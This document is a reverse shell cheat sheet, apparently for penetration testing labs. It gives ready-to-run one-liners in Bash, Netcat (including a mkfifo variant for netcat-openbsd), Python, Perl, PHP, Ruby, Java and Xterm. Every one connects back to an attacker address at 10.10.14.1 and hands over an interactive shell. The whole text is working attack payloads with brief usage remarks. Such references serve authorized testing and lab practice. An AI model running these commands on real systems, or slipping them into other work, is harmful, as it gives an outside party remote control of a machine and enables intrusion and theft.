Reverse shell cheat sheet

Bash

Tested on Ubuntu 10.10.

/bin/bash -i >& /dev/tcp/10.10.14.1/4444 0>&1

Netcat

For common versions:

# Linux
nc -e /bin/sh 10.10.14.1 4444
# Windows
nc -e cmd.exe 10.10.14.1 4444

The Netcat-openbsd version doesn't support -e. Use the following instead.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.1 4444 >/tmp/f

Python 2.7

Tested under Linux / Python 2.7.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

perl -e 'use Socket;$i="10.10.14.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP

This code assumes that the TCP connection uses file descriptor 3. It worked on my test system. If it doesn't work, try 4, 5, 6...

php -r '$sock=fsockopen("10.10.14.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.10.14.1",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java

I haven't tested this.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Xterm

One of the simplest forms of reverse shell is an xterm session. Run the following command on the server. It will try to connect back to you (10.10.14.1) on TCP port 6001.

xterm -display 10.10.14.1:1

To catch the incoming xterm, start an X server (:1, which listens on TCP port 6001). One way to do this is with Xnest, run on your own system:

Xnest :1

You'll need to authorize the target to connect to you. Run this command on your host too:

xhost +targetip